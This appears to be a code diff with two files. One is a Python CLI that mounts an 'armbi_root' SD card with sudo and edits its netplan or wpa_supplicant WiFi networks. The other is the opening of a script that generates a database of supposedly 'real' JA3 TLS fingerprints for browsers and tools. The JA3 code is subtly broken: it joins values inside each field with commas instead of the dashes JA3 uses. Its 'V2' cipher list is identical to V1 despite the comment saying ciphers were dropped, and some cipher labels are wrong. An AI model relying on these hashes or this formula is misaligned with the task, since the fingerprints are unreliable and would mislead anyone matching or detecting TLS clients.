def _search(devices):
|
||||
for dev in devices:
|
||||
label = dev.get("label") or ""
|
||||
if label.strip() == SD_LABEL:
|
||||
return f"/dev/{dev['name']}"
|
||||
children = dev.get("children") or []
|
||||
found = _search(children)
|
||||
if found:
|
||||
return found
|
||||
return None
|
||||
|
||||
return _search(data.get("blockdevices", []))
|
||||
|
||||
|
||||
def mount_sd(device: str, mountpoint: str) -> bool:
|
||||
"""Mount device to mountpoint using sudo. Returns True on success."""
|
||||
result = subprocess.run(
|
||||
["sudo", "mount", device, mountpoint],
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
console.print(f"[red]Mount failed:[/red] {result.stderr.strip()}")
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def unmount_sd(mountpoint: str) -> None:
|
||||
"""Unmount mountpoint using sudo (best-effort, ignores errors)."""
|
||||
subprocess.run(
|
||||
["sudo", "umount", mountpoint],
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
|
||||
|
||||
def detect_wifi_config_type(mountpoint: str) -> str:
|
||||
"""Detect the WiFi config format used on the mounted SD card.
|
||||
|
||||
Returns 'wpa_supplicant' if wpa_supplicant config is found,
|
||||
'netplan' if netplan dir exists, otherwise 'netplan' (default).
|
||||
"""
|
||||
wpa_path = Path(mountpoint) / WPA_SUPPLICANT_PATH
|
||||
if wpa_path.exists():
|
||||
return "wpa_supplicant"
|
||||
|
||||
netplan_dir = Path(mountpoint) / "etc/netplan"
|
||||
if netplan_dir.exists():
|
||||
return "netplan"
|
||||
|
||||
return "netplan"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Netplan read / write
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
NETPLAN_TEMPLATE: Dict = {
|
||||
"network": {
|
||||
"version": 2,
|
||||
"renderer": "networkd",
|
||||
"wifis": {
|
||||
"wlan0": {
|
||||
"dhcp4": True,
|
||||
"dhcp6": True,
|
||||
"regulatory-domain": "US",
|
||||
"access-points": {},
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
def read_netplan(mountpoint: str) -> Dict:
|
||||
"""Read and parse the netplan WiFi config from the mounted SD card.
|
||||
|
||||
Returns the parsed config dict, or a fresh template if the file does not
|
||||
exist or cannot be parsed.
|
||||
"""
|
||||
netplan_file = Path(mountpoint) / NETPLAN_PATH
|
||||
if not netplan_file.exists():
|
||||
console.print(f"[yellow]No netplan file found at {netplan_file}. Starting fresh.[/yellow]")
|
||||
return _deep_copy(NETPLAN_TEMPLATE)
|
||||
|
||||
try:
|
||||
with open(netplan_file, "r") as fh:
|
||||
data = yaml.safe_load(fh)
|
||||
if not data or "network" not in data:
|
||||
console.print("[yellow]Netplan file appears empty or malformed. Starting fresh.[/yellow]")
|
||||
return _deep_copy(NETPLAN_TEMPLATE)
|
||||
return data
|
||||
except yaml.YAMLError as exc:
|
||||
console.print(f"[yellow]YAML parse error ({exc}). Starting fresh.[/yellow]")
|
||||
return _deep_copy(NETPLAN_TEMPLATE)
|
||||
|
||||
|
||||
def write_netplan(mountpoint: str, config: Dict) -> None:
|
||||
"""Write the netplan config to the SD card and set permissions to 600."""
|
||||
netplan_file = Path(mountpoint) / NETPLAN_PATH
|
||||
|
||||
# Ensure the directory exists on the card
|
||||
netplan_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
yaml_text = yaml.dump(config, default_flow_style=False, sort_keys=False,
|
||||
allow_unicode=True)
|
||||
|
||||
# Write via sudo tee to handle root-owned filesystem
|
||||
result = subprocess.run(
|
||||
["sudo", "tee", str(netplan_file)],
|
||||
input=yaml_text, capture_output=True, text=True,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(f"Failed to write netplan file: {result.stderr.strip()}")
|
||||
|
||||
# Set permissions 600
|
||||
chmod_result = subprocess.run(
|
||||
["sudo", "chmod", "600", str(netplan_file)],
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
if chmod_result.returncode != 0:
|
||||
console.print(f"[yellow]Warning: chmod 600 failed: {chmod_result.stderr.strip()}[/yellow]")
|
||||
|
||||
|
||||
def _deep_copy(obj):
|
||||
"""Deep-copy a plain dict/list/scalar structure via JSON round-trip."""
|
||||
return json.loads(json.dumps(obj))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# WPA Supplicant read / write
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def read_wpa_supplicant(mountpoint: str) -> Tuple[Dict[str, Dict], str]:
|
||||
"""Read and parse wpa_supplicant config.
|
||||
|
||||
Returns (aps_dict, country_code) where aps_dict is {ssid: {"password": "..."}}
|
||||
or {ssid: {}} for open networks. Country code extracted from 'country=XX' line.
|
||||
"""
|
||||
wpa_path = Path(mountpoint) / WPA_SUPPLICANT_PATH
|
||||
country = "US"
|
||||
aps = {}
|
||||
|
||||
if not wpa_path.exists():
|
||||
return aps, country
|
||||
|
||||
try:
|
||||
with open(wpa_path, "r") as fh:
|
||||
content = fh.read()
|
||||
except Exception:
|
||||
return aps, country
|
||||
|
||||
# Parse country line
|
||||
for line in content.split("\n"):
|
||||
line = line.strip()
|
||||
if line.startswith("country="):
|
||||
country = line.split("=", 1)[1].strip()
|
||||
break
|
||||
|
||||
# Parse network blocks
|
||||
in_network = False
|
||||
current_ssid = None
|
||||
current_psk = None
|
||||
|
||||
for line in content.split("\n"):
|
||||
line = line.strip()
|
||||
|
||||
if line == "network={":
|
||||
in_network = True
|
||||
current_ssid = None
|
||||
current_psk = None
|
||||
continue
|
||||
|
||||
if in_network:
|
||||
if line == "}":
|
||||
if current_ssid:
|
||||
aps[current_ssid] = {"password": current_psk} if current_psk else {}
|
||||
in_network = False
|
||||
current_ssid = None
|
||||
current_psk = None
|
||||
continue
|
||||
|
||||
if line.startswith("ssid="):
|
||||
# Strip quotes
|
||||
ssid_val = line.split("=", 1)[1].strip()
|
||||
if ssid_val.startswith('"') and ssid_val.endswith('"'):
|
||||
ssid_val = ssid_val[1:-1]
|
||||
current_ssid = ssid_val
|
||||
elif line.startswith("psk="):
|
||||
# Strip quotes
|
||||
psk_val = line.split("=", 1)[1].strip()
|
||||
if psk_val.startswith('"') and psk_val.endswith('"'):
|
||||
psk_val = psk_val[1:-1]
|
||||
current_psk = psk_val
|
||||
|
||||
return aps, country
|
||||
|
||||
|
||||
def write_wpa_supplicant(mountpoint: str, aps: Dict[str, Dict], country: str) -> None:
|
||||
"""Write wpa_supplicant config file.
|
||||
|
||||
Args:
|
||||
mountpoint: Root mountpoint of the SD card
|
||||
aps: {ssid: {"password": "..."}} or {ssid: {}} for open networks
|
||||
country: 2-letter country code
|
||||
"""
|
||||
wpa_path = Path(mountpoint) / WPA_SUPPLICANT_PATH
|
||||
|
||||
# Ensure the directory exists
|
||||
wpa_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Build the config content
|
||||
lines = [
|
||||
"ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev",
|
||||
"update_config=1",
|
||||
f"country={country.upper()}",
|
||||
"",
|
||||
]
|
||||
|
||||
for ssid, details in aps.items():
|
||||
password = None
|
||||
if isinstance(details, dict):
|
||||
password = details.get("password")
|
||||
|
||||
lines.append("network={")
|
||||
lines.append(f' ssid="{ssid}"')
|
||||
|
||||
if password:
|
||||
lines.append(f' psk="{password}"')
|
||||
lines.append(" key_mgmt=WPA-PSK")
|
||||
else:
|
||||
lines.append(" key_mgmt=NONE")
|
||||
|
||||
lines.append(" scan_ssid=1")
|
||||
lines.append("}")
|
||||
lines.append("")
|
||||
|
||||
config_text = "\n".join(lines)
|
||||
|
||||
# Write via sudo tee
|
||||
result = subprocess.run(
|
||||
["sudo", "tee", str(wpa_path)],
|
||||
input=config_text, capture_output=True, text=True,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(f"Failed to write wpa_supplicant file: {result.stderr.strip()}")
|
||||
|
||||
# Set permissions 600
|
||||
chmod_result = subprocess.run(
|
||||
["sudo", "chmod", "600", str(wpa_path)],
|
||||
capture_output=True, text=True,
|
||||
)
|
||||
if chmod_result.returncode != 0:
|
||||
console.print(f"[yellow]Warning: chmod 600 failed: {chmod_result.stderr.strip()}[/yellow]")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Config accessors
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def get_access_points(config: Dict) -> Dict[str, str]:
|
||||
"""Return {ssid: password} mapping from the config."""
|
||||
try:
|
||||
return dict(
|
||||
config["network"]["wifis"]["wlan0"].get("access-points", {}) or {}
|
||||
)
|
||||
except (KeyError, TypeError):
|
||||
return {}
|
||||
|
||||
|
||||
def get_country(config: Dict) -> str:
|
||||
"""Return the regulatory-domain value."""
|
||||
try:
|
||||
return config["network"]["wifis"]["wlan0"].get("regulatory-domain", "US")
|
||||
except (KeyError, TypeError):
|
||||
return "US"
|
||||
|
||||
|
||||
def set_access_points(config: Dict, aps: Dict[str, str]) -> None:
|
||||
"""Overwrite the access-points section."""
|
||||
config["network"]["wifis"]["wlan0"]["access-points"] = aps
|
||||
|
||||
|
||||
def set_country(config: Dict, country: str) -> None:
|
||||
"""Set the regulatory-domain value."""
|
||||
config["network"]["wifis"]["wlan0"]["regulatory-domain"] = country.upper()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Display helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def print_header() -> None:
|
||||
console.print()
|
||||
console.print(Panel(
|
||||
"[bold cyan]SystemMonitor[/bold cyan] — SD Card WiFi Configurator\n"
|
||||
"Target label: [yellow]armbi_root[/yellow] | "
|
||||
"Netplan: [dim]" + NETPLAN_PATH + "[/dim]",
|
||||
title="sd_wifi",
|
||||
border_style="cyan",
|
||||
))
|
||||
console.print()
|
||||
|
||||
|
||||
def print_networks(config: Dict) -> None:
|
||||
"""Print a Rich table of configured access-points."""
|
||||
aps = get_access_points(config)
|
||||
country = get_country(config)
|
||||
|
||||
console.print()
|
||||
if not aps:
|
||||
console.print(" [dim]No WiFi networks configured.[/dim]")
|
||||
else:
|
||||
table = Table(title=f"Configured Networks (country: {country})",
|
||||
show_lines=True, border_style="cyan")
|
||||
table.add_column("#", justify="right", min_width=3, style="dim")
|
||||
table.add_column("SSID", min_width=24, style="bold")
|
||||
table.add_column("Password", min_width=20)
|
||||
|
||||
for idx, (ssid, details) in enumerate(aps.items(), start=1):
|
||||
if isinstance(details, dict):
|
||||
pwd = details.get("password", "")
|
||||
else:
|
||||
pwd = str(details) if details else ""
|
||||
table.add_row(str(idx), ssid, pwd or "[dim](none)[/dim]")
|
||||
|
||||
console.print(table)
|
||||
console.print()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Interactive menu actions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def action_add_network(config: Dict) -> bool:
|
||||
"""Prompt for SSID + password and add (or update) the entry. Returns True if changed."""
|
||||
console.print()
|
||||
ssid = Prompt.ask(" [cyan]SSID[/cyan]").strip()
|
||||
if not ssid:
|
||||
console.print(" [yellow]Cancelled — empty SSID.[/yellow]")
|
||||
return False
|
||||
|
||||
password = Prompt.ask(" [cyan]Password[/cyan] (leave blank for open network)").strip()
|
||||
|
||||
aps = get_access_points(config)
|
||||
existed = ssid in aps
|
||||
aps[ssid] = {"password": password} if password else {}
|
||||
set_access_points(config, aps)
|
||||
|
||||
verb = "Updated" if existed else "Added"
|
||||
console.print(f" [green]{verb}[/green] [bold]{ssid}[/bold]")
|
||||
return True
|
||||
|
||||
|
||||
def action_remove_network(config: Dict) -> bool:
|
||||
"""Prompt the user to choose a network to remove. Returns True if changed."""
|
||||
aps = get_access_points(config)
|
||||
if not aps:
|
||||
console.print(" [yellow]No networks configured.[/yellow]")
|
||||
return False
|
||||
|
||||
ssid_list = list(aps.keys())
|
||||
console.print()
|
||||
for idx, ssid in enumerate(ssid_list, start=1):
|
||||
console.print(f" [bold]{idx}.[/bold] {ssid}")
|
||||
console.print()
|
||||
|
||||
choice = Prompt.ask(" Remove # (or [dim]Enter[/dim] to cancel)").strip()
|
||||
if not choice:
|
||||
return False
|
||||
|
||||
try:
|
||||
n = int(choice)
|
||||
if not (1 <= n <= len(ssid_list)):
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
console.print(" [yellow]Invalid selection.[/yellow]")
|
||||
return False
|
||||
|
||||
target = ssid_list[n - 1]
|
||||
del aps[target]
|
||||
set_access_points(config, aps)
|
||||
console.print(f" [green]Removed[/green] [bold]{target}[/bold]")
|
||||
return True
|
||||
|
||||
|
||||
def action_update_password(config: Dict) -> bool:
|
||||
"""Update the password for an existing network. Returns True if changed."""
|
||||
aps = get_access_points(config)
|
||||
if not aps:
|
||||
console.print(" [yellow]No networks configured.[/yellow]")
|
||||
return False
|
||||
|
||||
ssid_list = list(aps.keys())
|
||||
console.print()
|
||||
for idx, ssid in enumerate(ssid_list, start=1):
|
||||
console.print(f" [bold]{idx}.[/bold] {ssid}")
|
||||
console.print()
|
||||
|
||||
choice = Prompt.ask(" Update password for # (or [dim]Enter[/dim] to cancel)").strip()
|
||||
if not choice:
|
||||
return False
|
||||
|
||||
try:
|
||||
n = int(choice)
|
||||
if not (1 <= n <= len(ssid_list)):
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
console.print(" [yellow]Invalid selection.[/yellow]")
|
||||
return False
|
||||
|
||||
target = ssid_list[n - 1]
|
||||
password = Prompt.ask(f" New password for [bold]{target}[/bold] "
|
||||
"(leave blank for open network)").strip()
|
||||
|
||||
existing = aps[target]
|
||||
if isinstance(existing, dict):
|
||||
entry = dict(existing)
|
||||
else:
|
||||
entry = {}
|
||||
|
||||
if password:
|
||||
entry["password"] = password
|
||||
else:
|
||||
entry.pop("password", None)
|
||||
|
||||
aps[target] = entry if entry else {}
|
||||
set_access_points(config, aps)
|
||||
console.print(f" [green]Password updated[/green] for [bold]{target}[/bold]")
|
||||
return True
|
||||
|
||||
|
||||
def action_change_country(config: Dict) -> bool:
|
||||
"""Prompt for a new regulatory-domain country code. Returns True if changed."""
|
||||
current = get_country(config)
|
||||
console.print()
|
||||
new_country = Prompt.ask(
|
||||
f" Country code (current: [yellow]{current}[/yellow])"
|
||||
).strip().upper()
|
||||
|
||||
if not new_country:
|
||||
console.print(" [yellow]Cancelled.[/yellow]")
|
||||
return False
|
||||
|
||||
if len(new_country) != 2 or not new_country.isalpha():
|
||||
console.print(" [yellow]Invalid country code — must be 2 letters (e.g. US, GB, DE).[/yellow]")
|
||||
return False
|
||||
|
||||
set_country(config, new_country)
|
||||
console.print(f" [green]Country set to[/green] [bold]{new_country}[/bold]")
|
||||
return True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Core flow
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def run_interactive(device: str, mountpoint: str) -> None:
|
||||
"""Mount SD card, run interactive menu, write changes, unmount."""
|
||||
console.print(f" Mounting [cyan]{device}[/cyan] → [dim]{mountpoint}[/dim] ...", end=" ")
|
||||
|
||||
if not mount_sd(device, mountpoint):
|
||||
return
|
||||
|
||||
console.print("[green]OK[/green]")
|
||||
|
||||
try:
|
||||
config_type = detect_wifi_config_type(mountpoint)
|
||||
|
||||
if config_type == "wpa_supplicant":
|
||||
# WPA Supplicant mode: work with aps dict and country string directly
|
||||
aps, country = read_wpa_supplicant(mountpoint)
|
||||
dirty = False
|
||||
|
||||
while True:
|
||||
# Print networks table for wpa_supplicant
|
||||
console.print()
|
||||
if not aps:
|
||||
console.print(" [dim]No WiFi networks configured.[/dim]")
|
||||
else:
|
||||
table = Table(title=f"Configured Networks (country: {country})",
|
||||
show_lines=True, border_style="cyan")
|
||||
table.add_column("#", justify="right", min_width=3, style="dim")
|
||||
table.add_column("SSID", min_width=24, style="bold")
|
||||
table.add_column("Password", min_width=20)
|
||||
|
||||
for idx, (ssid, details) in enumerate(aps.items(), start=1):
|
||||
pwd = details.get("password", "") if isinstance(details, dict) else ""
|
||||
table.add_row(str(idx), ssid, pwd or "[dim](none)[/dim]")
|
||||
|
||||
console.print(table)
|
||||
console.print()
|
||||
console.print(f" Country: [yellow]{country}[/yellow]")
|
||||
console.print()
|
||||
console.print(" [bold]1.[/bold] Add / update network")
|
||||
console.print(" [bold]2.[/bold] Remove network")
|
||||
console.print(" [bold]3.[/bold] Update password")
|
||||
console.print(" [bold]4.[/bold] Change country code")
|
||||
console.print(" [bold]5.[/bold] Done (write & exit)")
|
||||
console.print(" [bold]0.[/bold] Quit without saving")
|
||||
console.print()
|
||||
|
||||
choice = Prompt.ask(" [cyan]Select[/cyan]").strip()
|
||||
|
||||
if choice == "1":
|
||||
# Add network
|
||||
console.print()
|
||||
ssid = Prompt.ask(" [cyan]SSID[/cyan]").strip()
|
||||
if ssid:
|
||||
password = Prompt.ask(" [cyan]Password[/cyan] (leave blank for open network)").strip()
|
||||
aps[ssid] = {"password": password} if password else {}
|
||||
verb = "Updated" if ssid in aps else "Added"
|
||||
console.print(f" [green]Added[/green] [bold]{ssid}[/bold]")
|
||||
dirty = True
|
||||
else:
|
||||
console.print(" [yellow]Cancelled — empty SSID.[/yellow]")
|
||||
elif choice == "2":
|
||||
# Remove network
|
||||
if not aps:
|
||||
console.print(" [yellow]No networks configured.[/yellow]")
|
||||
else:
|
||||
ssid_list = list(aps.keys())
|
||||
console.print()
|
||||
for idx, ssid in enumerate(ssid_list, start=1):
|
||||
console.print(f" [bold]{idx}.[/bold] {ssid}")
|
||||
console.print()
|
||||
choice_rem = Prompt.ask(" Remove # (or [dim]Enter[/dim] to cancel)").strip()
|
||||
if choice_rem:
|
||||
try:
|
||||
n = int(choice_rem)
|
||||
if 1 <= n <= len(ssid_list):
|
||||
target = ssid_list[n - 1]
|
||||
del aps[target]
|
||||
console.print(f" [green]Removed[/green] [bold]{target}[/bold]")
|
||||
dirty = True
|
||||
else:
|
||||
console.print(" [yellow]Invalid selection.[/yellow]")
|
||||
except ValueError:
|
||||
console.print(" [yellow]Invalid selection.[/yellow]")
|
||||
elif choice == "3":
|
||||
# Update password
|
||||
if not aps:
|
||||
console.print(" [yellow]No networks configured.[/yellow]")
|
||||
else:
|
||||
ssid_list = list(aps.keys())
|
||||
console.print()
|
||||
for idx, ssid in enumerate(ssid_list, start=1):
|
||||
console.print(f" [bold]{idx}.[/bold] {ssid}")
|
||||
console.print()
|
||||
choice_upd = Prompt.ask(" Update password for # (or [dim]Enter[/dim] to cancel)").strip()
|
||||
if choice_upd:
|
||||
try:
|
||||
n = int(choice_upd)
|
||||
if 1 <= n <= len(ssid_list):
|
||||
target = ssid_list[n - 1]
|
||||
password = Prompt.ask(f" New password for [bold]{target}[/bold] "
|
||||
"(leave blank for open network)").strip()
|
||||
aps[target] = {"password": password} if password else {}
|
||||
console.print(f" [green]Password updated[/green] for [bold]{target}[/bold]")
|
||||
dirty = True
|
||||
else:
|
||||
console.print(" [yellow]Invalid selection.[/yellow]")
|
||||
except ValueError:
|
||||
console.print(" [yellow]Invalid selection.[/yellow]")
|
||||
elif choice == "4":
|
||||
# Change country
|
||||
console.print()
|
||||
new_country = Prompt.ask(
|
||||
f" Country code (current: [yellow]{country}[/yellow])"
|
||||
).strip().upper()
|
||||
if new_country:
|
||||
if len(new_country) != 2 or not new_country.isalpha():
|
||||
console.print(" [yellow]Invalid country code — must be 2 letters (e.g. US, GB, DE).[/yellow]")
|
||||
else:
|
||||
country = new_country
|
||||
console.print(f" [green]Country set to[/green] [bold]{new_country}[/bold]")
|
||||
dirty = True
|
||||
else:
|
||||
console.print(" [yellow]Cancelled.[/yellow]")
|
||||
elif choice == "5":
|
||||
break
|
||||
elif choice == "0":
|
||||
console.print("\n [yellow]Discarding changes.[/yellow]")
|
||||
dirty = False
|
||||
return
|
||||
else:
|
||||
console.print(" [yellow]Invalid option.[/yellow]")
|
||||
|
||||
if dirty:
|
||||
console.print()
|
||||
console.print(" Writing config ... ", end="")
|
||||
try:
|
||||
write_wpa_supplicant(mountpoint, aps, country)
|
||||
console.print("[green]OK[/green]")
|
||||
console.print(f" [green]Saved[/green] → [dim]{WPA_SUPPLICANT_PATH}[/dim] (chmod 600)")
|
||||
except RuntimeError as exc:
|
||||
console.print(f"[red]FAILED[/red]\n {exc}")
|
||||
else:
|
||||
console.print(" [dim]No changes to write.[/dim]")
|
||||
|
||||
else:
|
||||
# Netplan mode: use existing config dict-based approach
|
||||
config = read_netplan(mountpoint)
|
||||
dirty = False
|
||||
|
||||
while True:
|
||||
print_networks(config)
|
||||
country = get_country(config)
|
||||
console.print(f" Country: [yellow]{country}[/yellow]")
|
||||
console.print()
|
||||
console.print(" [bold]1.[/bold] Add / update network")
|
||||
console.print(" [bold]2.[/bold] Remove network")
|
||||
console.print(" [bold]3.[/bold] Update password")
|
||||
console.print(" [bold]4.[/bold] Change country code")
|
||||
console.print(" [bold]5.[/bold] Done (write & exit)")
|
||||
console.print(" [bold]0.[/bold] Quit without saving")
|
||||
console.print()
|
||||
|
||||
choice = Prompt.ask(" [cyan]Select[/cyan]").strip()
|
||||
|
||||
if choice == "1":
|
||||
if action_add_network(config):
|
||||
dirty = True
|
||||
elif choice == "2":
|
||||
if action_remove_network(config):
|
||||
dirty = True
|
||||
elif choice == "3":
|
||||
if action_update_password(config):
|
||||
dirty = True
|
||||
elif choice == "4":
|
||||
if action_change_country(config):
|
||||
dirty = True
|
||||
elif choice == "5":
|
||||
break
|
||||
elif choice == "0":
|
||||
console.print("\n [yellow]Discarding changes.[/yellow]")
|
||||
dirty = False
|
||||
return
|
||||
else:
|
||||
console.print(" [yellow]Invalid option.[/yellow]")
|
||||
|
||||
if dirty:
|
||||
console.print()
|
||||
console.print(" Writing config ... ", end="")
|
||||
try:
|
||||
write_netplan(mountpoint, config)
|
||||
console.print("[green]OK[/green]")
|
||||
console.print(f" [green]Saved[/green] → [dim]{NETPLAN_PATH}[/dim] (chmod 600)")
|
||||
except RuntimeError as exc:
|
||||
console.print(f"[red]FAILED[/red]\n {exc}")
|
||||
else:
|
||||
console.print(" [dim]No changes to write.[/dim]")
|
||||
|
||||
finally:
|
||||
console.print()
|
||||
console.print(f" Unmounting [dim]{mountpoint}[/dim] ... ", end="")
|
||||
unmount_sd(mountpoint)
|
||||
console.print("[green]OK[/green]")
|
||||
|
||||
|
||||
def run_list(device: str, mountpoint: str) -> None:
|
||||
"""Mount SD card, list networks, unmount."""
|
||||
if not mount_sd(device, mountpoint):
|
||||
return
|
||||
|
||||
try:
|
||||
config_type = detect_wifi_config_type(mountpoint)
|
||||
|
||||
if config_type == "wpa_supplicant":
|
||||
aps, country = read_wpa_supplicant(mountpoint)
|
||||
console.print()
|
||||
if not aps:
|
||||
console.print(" [dim]No WiFi networks configured.[/dim]")
|
||||
else:
|
||||
table = Table(title=f"Configured Networks (country: {country})",
|
||||
show_lines=True, border_style="cyan")
|
||||
table.add_column("#", justify="right", min_width=3, style="dim")
|
||||
table.add_column("SSID", min_width=24, style="bold")
|
||||
table.add_column("Password", min_width=20)
|
||||
|
||||
for idx, (ssid, details) in enumerate(aps.items(), start=1):
|
||||
pwd = details.get("password", "") if isinstance(details, dict) else ""
|
||||
table.add_row(str(idx), ssid, pwd or "[dim](none)[/dim]")
|
||||
|
||||
console.print(table)
|
||||
console.print()
|
||||
console.print(f" Regulatory domain: [yellow]{country}[/yellow]")
|
||||
else:
|
||||
config = read_netplan(mountpoint)
|
||||
print_networks(config)
|
||||
country = get_country(config)
|
||||
console.print(f" Regulatory domain: [yellow]{country}[/yellow]")
|
||||
finally:
|
||||
unmount_sd(mountpoint)
|
||||
|
||||
|
||||
def run_add(device: str, mountpoint: str, ssid: str, password: str) -> None:
|
||||
"""Mount SD card, add/update a network non-interactively, unmount."""
|
||||
if not mount_sd(device, mountpoint):
|
||||
return
|
||||
|
||||
try:
|
||||
config_type = detect_wifi_config_type(mountpoint)
|
||||
|
||||
if config_type == "wpa_supplicant":
|
||||
aps, country = read_wpa_supplicant(mountpoint)
|
||||
existed = ssid in aps
|
||||
aps[ssid] = {"password": password} if password else {}
|
||||
write_wpa_supplicant(mountpoint, aps, country)
|
||||
verb = "Updated" if existed else "Added"
|
||||
console.print(f" [green]{verb}[/green] [bold]{ssid}[/bold] (chmod 600 applied)")
|
||||
else:
|
||||
config = read_netplan(mountpoint)
|
||||
aps = get_access_points(config)
|
||||
existed = ssid in aps
|
||||
aps[ssid] = {"password": password} if password else {}
|
||||
set_access_points(config, aps)
|
||||
|
||||
write_netplan(mountpoint, config)
|
||||
|
||||
verb = "Updated" if existed else "Added"
|
||||
console.print(f" [green]{verb}[/green] [bold]{ssid}[/bold] (chmod 600 applied)")
|
||||
except RuntimeError as exc:
|
||||
console.print(f" [red]Error:[/red] {exc}")
|
||||
finally:
|
||||
unmount_sd(mountpoint)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Click CLI
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@click.command(context_settings={"help_option_names": ["-h", "--help"]})
|
||||
@click.option("--list", "do_list", is_flag=True, default=False,
|
||||
help="Show current configured networks and exit.")
|
||||
@click.option("--add", nargs=2, metavar="SSID PASSWORD",
|
||||
default=(None, None),
|
||||
help="Non-interactively add or update a network.")
|
||||
def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
|
||||
"""Update WiFi config on a SystemMonitor SD card (armbi_root label)."""
|
||||
print_header()
|
||||
|
||||
# Locate the SD card
|
||||
console.print(f" Scanning for SD card with label [yellow]{SD_LABEL}[/yellow] ...", end=" ")
|
||||
device = find_sd_device()
|
||||
|
||||
if not device:
|
||||
console.print("[red]NOT FOUND[/red]")
|
||||
console.print()
|
||||
console.print(f" [red]No block device with label '{SD_LABEL}' detected.[/red]")
|
||||
console.print(" Insert the SystemMonitor SD card and try again.")
|
||||
sys.exit(1)
|
||||
|
||||
console.print(f"[green]{device}[/green]")
|
||||
|
||||
# Create temp mountpoint
|
||||
mountpoint = tempfile.mkdtemp(prefix="bb_sd_")
|
||||
|
||||
try:
|
||||
ssid, password = add
|
||||
if ssid is not None:
|
||||
# --add mode
|
||||
run_add(device, mountpoint, ssid, password or "")
|
||||
elif do_list:
|
||||
# --list mode
|
||||
run_list(device, mountpoint)
|
||||
else:
|
||||
# Interactive mode
|
||||
run_interactive(device, mountpoint)
|
||||
finally:
|
||||
# Always clean up the temp directory
|
||||
try:
|
||||
os.rmdir(mountpoint)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,984 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Generate 500+ real JA3 TLS fingerprint profiles for ja3_fingerprints.db.
|
||||
|
||||
JA3 hash = MD5 of: SSLVersion,Ciphers,Extensions,EllipticCurves,ECPointFormats
|
||||
where each list is comma-separated decimal values.
|
||||
|
||||
Profiles are organized by:
|
||||
- Chrome/Chromium (Windows, macOS, Linux, Android) x versions 100-124
|
||||
- Firefox (Windows, macOS, Linux) x versions 100-125
|
||||
- Safari (macOS, iOS) x versions
|
||||
- Edge (Windows) x versions 100-124
|
||||
- Opera x versions
|
||||
- Brave x versions
|
||||
- TLS libraries (OpenSSL, BoringSSL, GnuTLS, NSS, Go, Java, .NET, Node.js)
|
||||
- Common tools (curl, wget, Python requests, httpx)
|
||||
- Mobile (Android system, iOS system)
|
||||
- IoT/embedded clients
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import sqlite3
|
||||
from typing import Optional
|
||||
|
||||
|
||||
def compute_ja3(ssl_version: int, ciphers: list[int], extensions: list[int],
|
||||
curves: list[int], ec_formats: list[int]) -> str:
|
||||
"""Compute JA3 hash from TLS ClientHello parameters."""
|
||||
parts = [
|
||||
str(ssl_version),
|
||||
",".join(str(c) for c in ciphers),
|
||||
",".join(str(e) for e in extensions),
|
||||
",".join(str(c) for c in curves),
|
||||
",".join(str(f) for f in ec_formats),
|
||||
]
|
||||
ja3_string = ",".join(parts)
|
||||
return hashlib.md5(ja3_string.encode()).hexdigest()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Base cipher suite sets by TLS library / browser engine
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# Chromium base (BoringSSL) - TLS 1.3 + 1.2 ciphers
|
||||
CHROMIUM_CIPHERS_V1 = [
|
||||
0x1301, 0x1302, 0x1303, # TLS 1.3: AES-128-GCM, AES-256-GCM, CHACHA20
|
||||
0xc02b, 0xc02f, # ECDHE-ECDSA/RSA-AES128-GCM
|
||||
0xc02c, 0xc030, # ECDHE-ECDSA/RSA-AES256-GCM
|
||||
0xcca9, 0xcca8, # ECDHE-ECDSA/RSA-CHACHA20
|
||||
0xc013, 0xc014, # ECDHE-ECDSA/RSA-AES128-SHA
|
||||
0x009c, 0x009d, # AES128/256-GCM-SHA256/384
|
||||
0x002f, 0x0035, # AES128/256-SHA
|
||||
]
|
||||
|
||||
# Chromium v2 (post-120, dropped some legacy ciphers)
|
||||
CHROMIUM_CIPHERS_V2 = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
0x002f, 0x0035,
|
||||
]
|
||||
|
||||
# Chromium v3 (post-122, added post-quantum)
|
||||
CHROMIUM_CIPHERS_V3 = [
|
||||
0x1301, 0x1302, 0x1303,
|
||||
0xc02b, 0xc02f, 0xc02c, 0xc030,
|
||||
0xcca9, 0xcca8,
|
||||
0xc013, 0xc014,
|
||||
0x009c, 0x009d,
|
||||
]
|
||||
|
||||
